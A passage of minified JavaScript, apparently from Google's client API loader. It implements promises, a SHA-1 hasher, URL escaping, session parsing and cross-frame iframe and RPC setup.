d&&b.call(void 0,d[e],e,a)){b=e;break a}b=-1}return 0>b?null:_.u(a)?a.charAt(b):a[b]};_.Qf=[];_.Rf=[];_.Sf=!1;_.Tf=function(a){_.Qf[_.Qf.length]=a;if(_.Sf)for(var b=0;b<_.Rf.length;b++)a((0,_.A)(_.Rf[b].wrap,_.Rf[b]))}; _.Hg=function(a){return function(){return a}}(!0); var Ng;_.Ig=function(a){if(Error.captureStackTrace)Error.captureStackTrace(this,_.Ig);else{var b=Error().stack;b&&(this.stack=b)}a&&(this.message=String(a))};_.z(_.Ig,Error);_.Ig.prototype.name="CustomError";_.Jg=function(a,b){for(var c in a)if(!(c in b)||a[c]!==b[c])return!1;for(c in b)if(!(c in a))return!1;return!0};_.Kg=function(a){var b={},c;for(c in a)b[c]=a[c];return b};_.Lg=function(a,b){a.src=_.Sc(b)};_.Mg=function(a){return a};Ng=function(a,b){this.FQ=a;this.lY=b;this.mv=0;this.Pe=null}; Ng.prototype.get=function(){if(0<this.mv){this.mv--;var a=this.Pe;this.Pe=a.next;a.next=null}else a=this.FQ();return a};Ng.prototype.put=function(a){this.lY(a);100>this.mv&&(this.mv++,a.next=this.Pe,this.Pe=a)}; var Og,Qg,Rg,Pg;Og=function(a){_.m.setTimeout(function(){throw a;},0)};_.Sg=function(a){a=Pg(a);!_.Xa(_.m.setImmediate)||_.m.Window&&_.m.Window.prototype&&!_.Db("Edge")&&_.m.Window.prototype.setImmediate==_.m.setImmediate?(Qg||(Qg=Rg()),Qg(a)):_.m.setImmediate(a)}; Rg=function(){var a=_.m.MessageChannel;"undefined"===typeof a&&"undefined"!==typeof window&&window.postMessage&&window.addEventListener&&!_.Db("Presto")&&(a=function(){var a=window.document.createElement("IFRAME");a.style.display="none";a.src="";window.document.documentElement.appendChild(a);var b=a.contentWindow;a=b.document;a.open();a.write("");a.close();var c="callImmediate"+Math.random(),d="file:"==b.location.protocol?"*":b.location.protocol+"//"+b.location.host;a=(0,_.A)(function(a){if(("*"== d||a.origin==d)&&a.data==c)this.port1.onmessage()},this);b.addEventListener("message",a,!1);this.port1={};this.port2={postMessage:function(){b.postMessage(c,d)}}});if("undefined"!==typeof a&&!_.Ib()){var b=new a,c={},d=c;b.port1.onmessage=function(){if(_.r(c.next)){c=c.next;var a=c.cb;c.cb=null;a()}};return function(a){d.next={cb:a};d=d.next;b.port2.postMessage(0)}}return"undefined"!==typeof window.document&&"onreadystatechange"in window.document.createElement("SCRIPT")?function(a){var b=window.document.createElement("SCRIPT"); b.onreadystatechange=function(){b.onreadystatechange=null;b.parentNode.removeChild(b);b=null;a();a=null};window.document.documentElement.appendChild(b)}:function(a){_.m.setTimeout(a,0)}};Pg=_.Mg;_.Tf(function(a){Pg=a}); var Tg=function(){this.Ow=this.Co=null},Vg=new Ng(function(){return new Ug},function(a){a.reset()});Tg.prototype.add=function(a,b){var c=Vg.get();c.set(a,b);this.Ow?this.Ow.next=c:this.Co=c;this.Ow=c};Tg.prototype.remove=function(){var a=null;this.Co&&(a=this.Co,this.Co=this.Co.next,this.Co||(this.Ow=null),a.next=null);return a};var Ug=function(){this.next=this.scope=this.Lg=null};Ug.prototype.set=function(a,b){this.Lg=a;this.scope=b;this.next=null}; Ug.prototype.reset=function(){this.next=this.scope=this.Lg=null}; var Wg,Xg,Yg,Zg,ah;_.$g=function(a,b){Wg||Xg();Yg||(Wg(),Yg=!0);Zg.add(a,b)};Xg=function(){if(-1!=String(_.m.Promise).indexOf("[native code]")){var a=_.m.Promise.resolve(void 0);Wg=function(){a.then(ah)}}else Wg=function(){_.Sg(ah)}};Yg=!1;Zg=new Tg;ah=function(){for(var a;a=Zg.remove();){try{a.Lg.call(a.scope)}catch(b){Og(b)}Vg.put(a)}Yg=!1}; _.bh=function(a){a.prototype.then=a.prototype.then;a.prototype.$goog_Thenable=!0};_.ch=function(a){if(!a)return!1;try{return!!a.$goog_Thenable}catch(b){return!1}};var eh,fh,ph,nh;_.dh=function(a,b){this.Da=0;this.Si=void 0;this.Tm=this.yj=this.hb=null;this.iu=this.bz=!1;if(a!=_.Va)try{var c=this;a.call(b,function(a){c.Xg(2,a)},function(a){c.Xg(3,a)})}catch(d){this.Xg(3,d)}};eh=function(){this.next=this.context=this.On=this.Yq=this.Ok=null;this.Wo=!1};eh.prototype.reset=function(){this.context=this.On=this.Yq=this.Ok=null;this.Wo=!1};fh=new Ng(function(){return new eh},function(a){a.reset()});_.gh=function(a,b,c){var d=fh.get();d.Yq=a;d.On=b;d.context=c;return d}; _.hh=function(a){if(a instanceof _.dh)return a;var b=new _.dh(_.Va);b.Xg(2,a);return b};_.ih=function(a){return new _.dh(function(b,c){c(a)})};_.kh=function(a,b,c){jh(a,b,c,null)||_.$g(_.Of(b,a))};_.mh=function(){var a,b,c=new _.dh(function(c,e){a=c;b=e});return new lh(c,a,b)};_.dh.prototype.then=function(a,b,c){return nh(this,_.Xa(a)?a:null,_.Xa(b)?b:null,c)};_.bh(_.dh);_.dh.prototype.Aw=function(a,b){return nh(this,null,a,b)}; _.dh.prototype.cancel=function(a){0==this.Da&&_.$g(function(){var b=new oh(a);ph(this,b)},this)};ph=function(a,b){if(0==a.Da)if(a.hb){var c=a.hb;if(c.yj){for(var d=0,e=null,f=null,h=c.yj;h&&(h.Wo||(d++,h.Ok==a&&(e=h),!(e&&1<d)));h=h.next)e||(f=h);e&&(0==c.Da&&1==d?ph(c,b):(f?(d=f,d.next==c.Tm&&(c.Tm=d),d.next=d.next.next):qh(c),rh(c,e,3,b)))}a.hb=null}else a.Xg(3,b)};_.th=function(a,b){a.yj||2!=a.Da&&3!=a.Da||sh(a);a.Tm?a.Tm.next=b:a.yj=b;a.Tm=b}; nh=function(a,b,c,d){var e=_.gh(null,null,null);e.Ok=new _.dh(function(a,h){e.Yq=b?function(c){try{var e=b.call(d,c);a(e)}catch(n){h(n)}}:a;e.On=c?function(b){try{var e=c.call(d,b);!_.r(e)&&b instanceof oh?h(b):a(e)}catch(n){h(n)}}:h});e.Ok.hb=a;_.th(a,e);return e.Ok};_.dh.prototype.z_=function(a){this.Da=0;this.Xg(2,a)};_.dh.prototype.A_=function(a){this.Da=0;this.Xg(3,a)}; _.dh.prototype.Xg=function(a,b){0==this.Da&&(this===b&&(a=3,b=new TypeError("Promise cannot resolve to itself")),this.Da=1,jh(b,this.z_,this.A_,this)||(this.Si=b,this.Da=a,this.hb=null,sh(this),3!=a||b instanceof oh||uh(this,b)))}; var jh=function(a,b,c,d){if(a instanceof _.dh)return _.th(a,_.gh(b||_.Va,c||null,d)),!0;if(_.ch(a))return a.then(b,c,d),!0;if(_.Ya(a))try{var e=a.then;if(_.Xa(e))return vh(a,e,b,c,d),!0}catch(f){return c.call(d,f),!0}return!1},vh=function(a,b,c,d,e){var f=!1,h=function(a){f||(f=!0,c.call(e,a))},k=function(a){f||(f=!0,d.call(e,a))};try{b.call(a,h,k)}catch(l){k(l)}},sh=function(a){a.bz||(a.bz=!0,_.$g(a.eR,a))},qh=function(a){var b=null;a.yj&&(b=a.yj,a.yj=b.next,b.next=null);a.yj||(a.Tm=null);return b}; _.dh.prototype.eR=function(){for(var a;a=qh(this);)rh(this,a,this.Da,this.Si);this.bz=!1};var rh=function(a,b,c,d){if(3==c&&b.On&&!b.Wo)for(;a&&a.iu;a=a.hb)a.iu=!1;if(b.Ok)b.Ok.hb=null,wh(b,c,d);else try{b.Wo?b.Yq.call(b.context):wh(b,c,d)}catch(e){xh.call(null,e)}fh.put(b)},wh=function(a,b,c){2==b?a.Yq.call(a.context,c):a.On&&a.On.call(a.context,c)},uh=function(a,b){a.iu=!0;_.$g(function(){a.iu&&xh.call(null,b)})},xh=Og,oh=function(a){_.Ig.call(this,a)};_.z(oh,_.Ig);oh.prototype.name="cancel"; var lh=function(a,b,c){this.promise=a;this.resolve=b;this.reject=c}; _.Im=function(a){return new _.dh(a)}; _.Jm=_.Jm||{};_.Jm.oT=function(){var a=0,b=0;window.self.innerHeight?(a=window.self.innerWidth,b=window.self.innerHeight):window.document.documentElement&&window.document.documentElement.clientHeight?(a=window.document.documentElement.clientWidth,b=window.document.documentElement.clientHeight):window.document.body&&(a=window.document.body.clientWidth,b=window.document.body.clientHeight);return{width:a,height:b}}; _.Jm=_.Jm||{}; (function(){function a(a,c){window.getComputedStyle(a,"").getPropertyValue(c).match(/^([0-9]+)/);return(0,window.parseInt)(RegExp.$1,10)}_.Jm.Xc=function(){var b=_.Jm.oT().height,c=window.document.body,d=window.document.documentElement;if("CSS1Compat"===window.document.compatMode&&d.scrollHeight)return d.scrollHeight!==b?d.scrollHeight:d.offsetHeight;if(0<=window.navigator.userAgent.indexOf("AppleWebKit")){b=0;for(c=[window.document.body];0<c.length;){var e=c.shift();d=e.childNodes;if("undefined"!== typeof e.style){var f=e.style.overflowY;f||(f=(f=window.document.defaultView.getComputedStyle(e,null))?f.overflowY:null);if("visible"!=f&&"inherit"!=f&&(f=e.style.height,f||(f=(f=window.document.defaultView.getComputedStyle(e,null))?f.height:""),0<f.length&&"auto"!=f))continue}for(e=0;e<d.length;e++){f=d[e];if("undefined"!==typeof f.offsetTop&&"undefined"!==typeof f.offsetHeight){var h=f.offsetTop+f.offsetHeight+a(f,"margin-bottom");b=Math.max(b,h)}c.push(f)}}return b+a(window.document.body,"border-bottom")+ a(window.document.body,"margin-bottom")+a(window.document.body,"padding-bottom")}if(c&&d)return e=d.scrollHeight,f=d.offsetHeight,d.clientHeight!==f&&(e=c.scrollHeight,f=c.offsetHeight),e>b?e>f?e:f:e<f?e:f}})(); var fl;fl=/^https?:\/\/(?:\w|[\-\.])+\.google\.(?:\w|[\-:\.])+(?:\/[^\?#]*)?\/u\/(\d)\//; _.gl=function(a){var b=_.H("googleapis.config/sessionIndex");"string"===typeof b&&254<b.length&&(b=null);null==b&&(b=window.__X_GOOG_AUTHUSER);"string"===typeof b&&254<b.length&&(b=null);if(null==b){var c=window.google;c&&(b=c.authuser)}"string"===typeof b&&254<b.length&&(b=null);null==b&&(a=a||window.location.href,b=_.Xd(a,"authuser")||null,null==b&&(b=(b=a.match(fl))?b[1]:null));if(null==b)return null;b=String(b);254<b.length&&(b=null);return b}; var ll=function(){this.wj=-1};_.ml=function(){this.wj=64;this.Fc=[];this.Rx=[];this.rP=[];this.zv=[];this.zv[0]=128;for(var a=1;a<this.wj;++a)this.zv[a]=0;this.Dw=this.An=0;this.reset()};_.z(_.ml,ll);_.ml.prototype.reset=function(){this.Fc[0]=1732584193;this.Fc[1]=4023233417;this.Fc[2]=2562383102;this.Fc[3]=271733878;this.Fc[4]=3285377520;this.Dw=this.An=0}; var nl=function(a,b,c){c||(c=0);var d=a.rP;if(_.u(b))for(var e=0;16>e;e++)d[e]=b.charCodeAt(c)<<24|b.charCodeAt(c+1)<<16|b.charCodeAt(c+2)<<8|b.charCodeAt(c+3),c+=4;else for(e=0;16>e;e++)d[e]=b[c]<<24|b[c+1]<<16|b[c+2]<<8|b[c+3],c+=4;for(e=16;80>e;e++){var f=d[e-3]^d[e-8]^d[e-14]^d[e-16];d[e]=(f<<1|f>>>31)&4294967295}b=a.Fc[0];c=a.Fc[1];var h=a.Fc[2],k=a.Fc[3],l=a.Fc[4];for(e=0;80>e;e++){if(40>e)if(20>e){f=k^c&(h^k);var n=1518500249}else f=c^h^k,n=1859775393;else 60>e?(f=c&h|k&(c|h),n=2400959708): (f=c^h^k,n=3395469782);f=(b<<5|b>>>27)+f+l+n+d[e]&4294967295;l=k;k=h;h=(c<<30|c>>>2)&4294967295;c=b;b=f}a.Fc[0]=a.Fc[0]+b&4294967295;a.Fc[1]=a.Fc[1]+c&4294967295;a.Fc[2]=a.Fc[2]+h&4294967295;a.Fc[3]=a.Fc[3]+k&4294967295;a.Fc[4]=a.Fc[4]+l&4294967295}; _.ml.prototype.update=function(a,b){if(null!=a){_.r(b)||(b=a.length);for(var c=b-this.wj,d=0,e=this.Rx,f=this.An;d<b;){if(0==f)for(;d<=c;)nl(this,a,d),d+=this.wj;if(_.u(a))for(;d<b;){if(e[f]=a.charCodeAt(d),++f,++d,f==this.wj){nl(this,e);f=0;break}}else for(;d<b;)if(e[f]=a[d],++f,++d,f==this.wj){nl(this,e);f=0;break}}this.An=f;this.Dw+=b}}; _.ml.prototype.digest=function(){var a=[],b=8*this.Dw;56>this.An?this.update(this.zv,56-this.An):this.update(this.zv,this.wj-(this.An-56));for(var c=this.wj-1;56<=c;c--)this.Rx[c]=b&255,b/=256;nl(this,this.Rx);for(c=b=0;5>c;c++)for(var d=24;0<=d;d-=8)a[b]=this.Fc[c]>>d&255,++b;return a}; _.ol=function(){this.jD=new _.ml};_.g=_.ol.prototype;_.g.reset=function(){this.jD.reset()};_.g.qM=function(a){this.jD.update(a)};_.g.pG=function(){return this.jD.digest()};_.g.HD=function(a){a=(0,window.unescape)((0,window.encodeURIComponent)(a));for(var b=[],c=0,d=a.length;c<d;++c)b.push(a.charCodeAt(c));this.qM(b)};_.g.Ig=function(){for(var a=this.pG(),b="",c=0;c<a.length;c++)b+="0123456789ABCDEF".charAt(Math.floor(a[c]/16))+"0123456789ABCDEF".charAt(a[c]%16);return b}; var Lm,Km,Rm,Sm,Mm,Pm,Nm,Tm,Om;_.Qm=function(){if(Km){var a=new _.Nd.Uint32Array(1);Lm.getRandomValues(a);a=Number("0."+a[0])}else a=Mm,a+=(0,window.parseInt)(Nm.substr(0,20),16),Nm=Om(Nm),a/=Pm+Math.pow(16,20);return a};Lm=_.Nd.crypto;Km=!1;Rm=0;Sm=0;Mm=1;Pm=0;Nm="";Tm=function(a){a=a||_.Nd.event;var b=a.screenX+a.clientX<<16;b+=a.screenY+a.clientY;b*=(new Date).getTime()%1E6;Mm=Mm*b%Pm;0<Rm&&++Sm==Rm&&_.ae(_.Nd,"mousemove",Tm,"remove","de")};Om=function(a){var b=new _.ol;b.HD(a);return b.Ig()}; Km=!!Lm&&"function"==typeof Lm.getRandomValues;Km||(Pm=1E6*(window.screen.width*window.screen.width+window.screen.height),Nm=Om(_.Qd.cookie+"|"+_.Qd.location+"|"+(new Date).getTime()+"|"+Math.random()),Rm=_.H("random/maxObserveMousemove")||0,0!=Rm&&_.be(_.Nd,"mousemove",Tm)); var Vm,Zm,$m,an,bn,cn,dn,en,fn,gn,hn,jn,kn,on,qn,rn,sn,tn,un,vn;_.Um=function(a,b){b=b instanceof _.Wc?b:_.ad(b);a.href=_.Xc(b)};_.Wm=function(a){return!!a&&"object"===typeof a&&_.Sd.test(a.push)};_.Xm=function(a){for(var b=0;b<this.length;b++)if(this[b]===a)return b;return-1};_.Ym=function(a,b){if(!a)throw Error(b||"");};Zm=/&/g;$m=/</g;an=/>/g;bn=/"/g;cn=/'/g;dn=function(a){return String(a).replace(Zm,"&").replace($m,"<").replace(an,">").replace(bn,""").replace(cn,"'")};en=/[\ud800-\udbff][\udc00-\udfff]|[^!-~]/g; fn=/%([a-f]|[0-9a-fA-F][a-f])/g;gn=/^(https?|ftp|file|chrome-extension):$/i; hn=function(a){a=String(a);a=a.replace(en,function(a){try{return(0,window.encodeURIComponent)(a)}catch(f){return(0,window.encodeURIComponent)(a.replace(/^[^%]+$/g,"\ufffd"))}}).replace(_.Zd,function(a){return a.replace(/%/g,"%25")}).replace(fn,function(a){return a.toUpperCase()});a=a.match(_.Yd)||[];var b=_.D(),c=function(a){return a.replace(/\\/g,"%5C").replace(/\^/g,"%5E").replace(/`/g,"%60").replace(/\{/g,"%7B").replace(/\|/g,"%7C").replace(/\}/g,"%7D")},d=!!(a[1]||"").match(gn);b.ep=c((a[1]|| "")+(a[2]||"")+(a[3]||(a[2]&&d?"/":"")));d=function(a){return c(a.replace(/\?/g,"%3F").replace(/#/g,"%23"))};b.query=a[5]?[d(a[5])]:[];b.rh=a[7]?[d(a[7])]:[];return b};jn=function(a){return a.ep+(0<a.query.length?"?"+a.query.join("&"):"")+(0<a.rh.length?"#"+a.rh.join("&"):"")};kn=function(a,b){var c=[];if(a)for(var d in a)if(_.Ud(a,d)&&null!=a[d]){var e=b?b(a[d]):a[d];c.push((0,window.encodeURIComponent)(d)+"="+(0,window.encodeURIComponent)(e))}return c}; _.ln=function(a,b,c,d){a=hn(a);a.query.push.apply(a.query,kn(b,d));a.rh.push.apply(a.rh,kn(c,d));return jn(a)}; _.mn=function(a,b){var c=hn(b);b=c.ep;c.query.length&&(b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));var d="";2E3<b.length&&(c=b,b=b.substr(0,2E3),b=b.replace(_.$d,""),d=c.substr(b.length));var e=a.createElement("div");a=a.createElement("a");c=hn(b);b=c.ep;c.query.length&&(b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));a.href=b;e.appendChild(a);e.innerHTML=e.innerHTML;b=String(e.firstChild.href);e.parentNode&&e.parentNode.removeChild(e);c=hn(b+d);b=c.ep;c.query.length&& (b+="?"+c.query.join(""));c.rh.length&&(b+="#"+c.rh.join(""));return b};_.nn=/^https?:\/\/[^\/%\\?#\s]+\/[^\s]*$/i;on=function(a){for(;a.firstChild;)a.removeChild(a.firstChild)};_.pn=function(a,b){var c=_.Td(_.ce,"watt",_.D());_.Td(c,a,b)};qn=/^https?:\/\/(?:\w|[\-\.])+\.google\.(?:\w|[\-:\.])+(?:\/[^\?#]*)?\/b\/(\d{10,21})\//; rn=function(a){var b=_.H("googleapis.config/sessionDelegate");"string"===typeof b&&21<b.length&&(b=null);null==b&&(b=(a=(a||window.location.href).match(qn))?a[1]:null);if(null==b)return null;b=String(b);21<b.length&&(b=null);return b};sn=function(){var a=_.ce.onl;if(!a){a=_.D();_.ce.onl=a;var b=_.D();a.e=function(a){var c=b[a];c&&(delete b[a],c())};a.a=function(a,d){b[a]=d};a.r=function(a){delete b[a]}}return a};tn=function(a,b){b=b.onload;return"function"===typeof b?(sn().a(a,b),b):null}; un=function(a){_.Ym(/^\w+$/.test(a),"Unsupported id - "+a);sn();return'onload="window.___jsl.onl.e("'+a+'")"'};vn=function(a){sn().r(a)}; var xn,yn,Cn;_.wn={allowtransparency:"true",frameborder:"0",hspace:"0",marginheight:"0",marginwidth:"0",scrolling:"no",style:"",tabindex:"0",vspace:"0",width:"100%"};xn={allowtransparency:!0,onload:!0};yn=0;_.zn=function(a,b){var c=0;do var d=b.id||["I",yn++,"_",(new Date).getTime()].join("");while(a.getElementById(d)&&5>++c);_.Ym(5>c,"Error creating iframe id");return d};_.An=function(a,b){return a?b+"/"+a:""}; _.Bn=function(a,b,c,d){var e={},f={};a.documentMode&&9>a.documentMode&&(e.hostiemode=a.documentMode);_.Vd(d.queryParams||{},e);_.Vd(d.fragmentParams||{},f);var h=d.pfname;var k=_.D();_.H("iframes/dropLegacyIdParam")||(k.id=c);k._gfid=c;k.parent=a.location.protocol+"//"+a.location.host;c=_.Xd(a.location.href,"parent");h=h||"";!h&&c&&(h=_.Xd(a.location.href,"_gfid","")||_.Xd(a.location.href,"id",""),h=_.An(h,_.Xd(a.location.href,"pfname","")));h||(c=_.cf(_.Xd(a.location.href,"jcp","")))&&"object"== typeof c&&(h=_.An(c.id,c.pfname));k.pfname=h;d.connectWithJsonParam&&(h={},h.jcp=_.df(k),k=h);h=_.Xd(b,"rpctoken")||e.rpctoken||f.rpctoken;h||(h=d.rpctoken||String(Math.round(1E8*_.Qm())),k.rpctoken=h);d.rpctoken=h;_.Vd(k,d.connectWithQueryParams?e:f);k=a.location.href;a=_.D();(h=_.Xd(k,"_bsh",_.ce.bsh))&&(a._bsh=h);(k=_.ce.dpo?_.ce.h:_.Xd(k,"jsh",_.ce.h))&&(a.jsh=k);d.hintInFragment?_.Vd(a,f):_.Vd(a,e);return _.ln(b,e,f,d.paramsSerializer)}; Cn=function(a){_.Ym(!a||_.nn.test(a),"Illegal url for new iframe - "+a)}; _.Dn=function(a,b,c,d,e){Cn(c.src);var f,h=tn(d,c),k=h?un(d):"";try{window.document.all&&(f=a.createElement('<iframe frameborder="'+dn(String(c.frameborder))+'" scrolling="'+dn(String(c.scrolling))+'" '+k+' name="'+dn(String(c.name))+'"/>'))}catch(n){}finally{f||(f=a.createElement("iframe"),h&&(f.onload=function(){f.onload=null;h.call(this)},vn(d)))}f.setAttribute("ng-non-bindable","");for(var l in c)a=c[l],"style"===l&&"object"===typeof a?_.Vd(a,f.style):xn[l]||f.setAttribute(l,String(a));(l=e&& e.beforeNode||null)||e&&e.dontclear||on(b);b.insertBefore(f,l);f=l?l.previousSibling:b.lastChild;c.allowtransparency&&(f.allowTransparency=!0);return f}; var En,Hn;En=/^:[\w]+$/;_.Fn=/:([a-zA-Z_]+):/g;_.Gn=function(){var a=_.gl()||"0",b=rn();var c=_.gl(void 0)||a;var d=rn(void 0),e="";c&&(e+="u/"+(0,window.encodeURIComponent)(String(c))+"/");d&&(e+="b/"+(0,window.encodeURIComponent)(String(d))+"/");c=e||null;(e=(d=!1===_.H("isLoggedIn"))?"_/im/":"")&&(c="");var f=_.H("iframes/:socialhost:"),h=_.H("iframes/:im_socialhost:");return Vm={socialhost:f,ctx_socialhost:d?h:f,session_index:a,session_delegate:b,session_prefix:c,im_prefix:e}}; Hn=function(a,b){return _.Gn()[b]||""};_.In=function(a){return _.mn(_.Qd,a.replace(_.Fn,Hn))};_.Jn=function(a){var b=a;En.test(a)&&(b=_.H("iframes/"+b.substring(1)+"/url"),_.Ym(!!b,"Unknown iframe url config for - "+a));return _.In(b)}; _.Kn=function(a,b,c){var d=c||{};c=d.attributes||{};_.Ym(!(d.allowPost||d.forcePost)||!c.onload,"onload is not supported by post iframe (allowPost or forcePost)");a=_.Jn(a);c=b.ownerDocument||_.Qd;var e=_.zn(c,d);a=_.Bn(c,a,e,d);var f=_.D();_.Vd(_.wn,f);_.Vd(d.attributes,f);f.name=f.id=e;f.src=a;d.eurl=a;var h=d||{},k=!!h.allowPost;if(h.forcePost||k&&2E3<a.length){h=hn(a);f.src="";f["data-postorigin"]=a;a=_.Dn(c,b,f,e);if(-1!=window.navigator.userAgent.indexOf("WebKit")){var l=a.contentWindow.document; l.open();f=l.createElement("div");k={};var n=e+"_inner";k.name=n;k.src="";k.style="display:none";_.Dn(c,f,k,n,d)}f=(d=h.query[0])?d.split("&"):[];d=[];for(k=0;k<f.length;k++)n=f[k].split("=",2),d.push([(0,window.decodeURIComponent)(n[0]),(0,window.decodeURIComponent)(n[1])]);h.query=[];f=jn(h);_.Ym(_.nn.test(f),"Invalid URL: "+f);h=c.createElement("form");h.action=f;h.method="POST";h.target=e;h.style.display="none";for(e=0;e<d.length;e++)f=c.createElement("input"),f.type="hidden",f.name=d[e][0],f.value= d[e][1],h.appendChild(f);b.appendChild(h);h.submit();h.parentNode.removeChild(h);l&&l.close();b=a}else b=_.Dn(c,b,f,e,d);return b}; _.Ln=function(a){this.R=a};_.g=_.Ln.prototype;_.g.value=function(){return this.R};_.g.uk=function(a){this.R.width=a;return this};_.g.Ed=function(){return this.R.width};_.g.rk=function(a){this.R.height=a;return this};_.g.Xc=function(){return this.R.height};_.g.Jd=function(a){this.R.style=a;return this};_.g.zl=_.ea(9); var Mn=function(a){this.R=a};_.g=Mn.prototype;_.g.no=function(a){this.R.anchor=a;return this};_.g.vf=function(){return this.R.anchor};_.g.IC=function(a){this.R.anchorPosition=a;return this};_.g.rk=function(a){this.R.height=a;return this};_.g.Xc=function(){return this.R.height};_.g.uk=function(a){this.R.width=a;return this};_.g.Ed=function(){return this.R.width}; _.Nn=function(a){this.R=a||{}};_.g=_.Nn.prototype;_.g.value=function(){return this.R};_.g.setUrl=function(a){this.R.url=a;return this};_.g.getUrl=function(){return this.R.url};_.g.Jd=function(a){this.R.style=a;return this};_.g.zl=_.ea(8);_.g.Zi=function(a){this.R.id=a};_.g.ka=function(){return this.R.id};_.g.tk=_.ea(10);_.On=function(a,b){a.R.queryParams=b;return a};_.Pn=function(a,b){a.R.relayOpen=b;return a};_.Nn.prototype.oo=_.ea(11);_.Nn.prototype.getContext=function(){return this.R.context}; _.Nn.prototype.Qc=function(){return this.R.openerIframe};_.Qn=function(a){return new Mn(a.R)};_.Nn.prototype.hn=function(){this.R.attributes=this.R.attributes||{};return new _.Ln(this.R.attributes)};_.Rn=function(a){a.R.connectWithQueryParams=!0;return a}; var Sn,Yn,Zn,$n,go,fo;_.Ln.prototype.zl=_.rc(9,function(){return this.R.style});_.Nn.prototype.zl=_.rc(8,function(){return this.R.style});Sn=function(a,b){a.R.onload=b};_.Tn=function(a){a.R.closeClickDetection=!0};_.Un=function(a){return a.R.rpctoken};_.Vn=function(a,b){a.R.messageHandlers=b;return a};_.Wn=function(a,b){a.R.messageHandlersFilter=b;return a};_.Xn=function(a){a.R.waitForOnload=!0;return a};Yn=function(a){return(a=a.R.timeout)?a:null}; _.bo=function(a,b,c){if(a){_.Ym(_.Wm(a),"arrayForEach was called with a non array value");for(var d=0;d<a.length;d++)b.call(c,a[d],d)}};_.co=function(a,b,c){if(a)if(_.Wm(a))_.bo(a,b,c);else{_.Ym("object"===typeof a,"objectForEach was called with a non object value");c=c||a;for(var d in a)_.Ud(a,d)&&void 0!==a[d]&&b.call(c,a[d],d)}}; _.eo=function(a){return new _.dh(function(b,c){var d=a.length,e=[];if(d)for(var f=function(a,c){d--;e[a]=c;0==d&&b(e)},h=function(a){c(a)},k=0,l;k<a.length;k++)l=a[k],_.kh(l,_.Of(f,k),h);else b(e)})};go=function(a){this.resolve=this.reject=null;this.promise=_.Im((0,_.A)(function(a,c){this.resolve=a;this.reject=c},this));a&&(this.promise=fo(this.promise,a))};fo=function(a,b){return a.then(function(a){try{b(a)}catch(d){}return a})}; _.ho=function(a){this.R=a||{}};_.z(_.ho,_.Nn);_.io=function(a,b){a.R.frameName=b;return a};_.ho.prototype.Cd=function(){return this.R.frameName};_.jo=function(a,b){a.R.rpcAddr=b;return a};_.ho.prototype.xl=function(){return this.R.rpcAddr};_.ko=function(a,b){a.R.retAddr=b;return a};_.lo=function(a){return a.R.retAddr};_.ho.prototype.Nh=function(a){this.R.origin=a;return this};_.ho.prototype.Qa=function(){return this.R.origin};_.ho.prototype.$i=function(a){this.R.setRpcReady=a;return this};_.mo=function(a){return a.R.setRpcReady}; _.ho.prototype.qo=function(a){this.R.context=a};var no=function(a,b){a.R._rpcReadyFn=b};_.ho.prototype.Ha=function(){return this.R.iframeEl}; var oo,so,ro;oo=/^[\w\.\-]*$/;_.po=function(a){return a.wd===a.getContext().wd};_.M=function(){return!0};_.qo=function(a){for(var b=_.D(),c=0;c<a.length;c++)b[a[c]]=!0;return function(a){return!!b[a.wd]}};so=function(a,b,c){return function(d){if(!b.Fb){_.Ym(this.origin===b.wd,"Wrong origin "+this.origin+" != "+b.wd);var e=this.callback;d=ro(a,d,b);!c&&0<d.length&&_.eo(d).then(e)}}};ro=function(a,b,c){a=Zn[a];if(!a)return[];for(var d=[],e=0;e<a.length;e++)d.push(_.hh(a[e].call(c,b,c)));return d}; _.to=function(a,b,c){_.Ym("_default"!=a,"Cannot update default api");$n[a]={map:b,filter:c}};_.uo=function(a,b,c){_.Ym("_default"!=a,"Cannot update default api");_.Td($n,a,{map:{},filter:_.po}).map[b]=c};_.vo=function(a,b){_.Td($n,"_default",{map:{},filter:_.M}).map[a]=b;_.co(_.ao.Ge,function(c){c.register(a,b,_.M)})};_.wo=function(){return _.ao}; _.yo=function(a){a=a||{};this.Fb=!1;this.bK=_.D();this.Ge=_.D();this.Ee=a._window||_.Nd;this.yd=this.Ee.location.href;this.cK=(this.OB=xo(this.yd,"parent"))?xo(this.yd,"pfname"):"";this.Aa=this.OB?xo(this.yd,"_gfid")||xo(this.yd,"id"):"";this.uf=_.An(this.Aa,this.cK);this.wd=_.Xj.Qa(this.yd);if(this.Aa){var b=new _.ho;_.jo(b,a._parentRpcAddr||"..");_.ko(b,a._parentRetAddr||this.Aa);b.Nh(_.Xj.Qa(this.OB||this.yd));_.io(b,this.cK);this.hb=this.uj(b.value())}else this.hb=null};_.g=_.yo.prototype; _.g.Dn=_.ea(3);_.g.Ca=function(){if(!this.Fb){for(var a=0;a<this.Ge.length;a++)this.Ge[a].Ca();this.Fb=!0}};_.g.Cd=function(){return this.uf};_.g.vb=function(){return this.Ee};_.g.mb=function(){return this.Ee.document};_.g.gw=_.ea(12);_.g.Ez=function(a){return this.bK[a]}; _.g.uj=function(a){_.Ym(!this.Fb,"Cannot attach iframe in disposed context");a=new _.ho(a);a.xl()||_.jo(a,a.ka());_.lo(a)||_.ko(a,"..");a.Qa()||a.Nh(_.Xj.Qa(a.getUrl()));a.Cd()||_.io(a,_.An(a.ka(),this.uf));var b=a.Cd();if(this.Ge[b])return this.Ge[b];var c=a.xl(),d=c;a.Qa()&&(d=c+"|"+a.Qa());var e=_.lo(a),f=_.Un(a);f||(f=(f=a.Ha())&&(f.getAttribute("data-postorigin")||f.src)||a.getUrl(),f=_.Xd(f,"rpctoken"));no(a,_.Hm(d,e,f,a.R._popupWindow));d=((window.gadgets||{}).rpc||{}).setAuthToken;f&&d&&d(c, f);var h=new _.zo(this,c,b,a),k=a.R.messageHandlersFilter;_.co(a.R.messageHandlers,function(a,b){h.register(b,a,k)});_.mo(a)&&h.$i();_.Ao(h,"_g_rpcReady");return h};_.g.vC=function(a){_.io(a,null);var b=a.ka();!b||oo.test(b)&&!this.vb().document.getElementById(b)||(_.ue("Ignoring requested iframe ID - "+b),a.Zi(null))};var xo=function(a,b){var c=_.Xd(a,b);c||(c=_.cf(_.Xd(a,"jcp",""))[b]);return c||""}; _.yo.prototype.Tg=function(a){_.Ym(!this.Fb,"Cannot open iframe in disposed context");var b=new _.ho(a);Bo(this,b);var c=b.Cd();if(c&&this.Ge[c])return 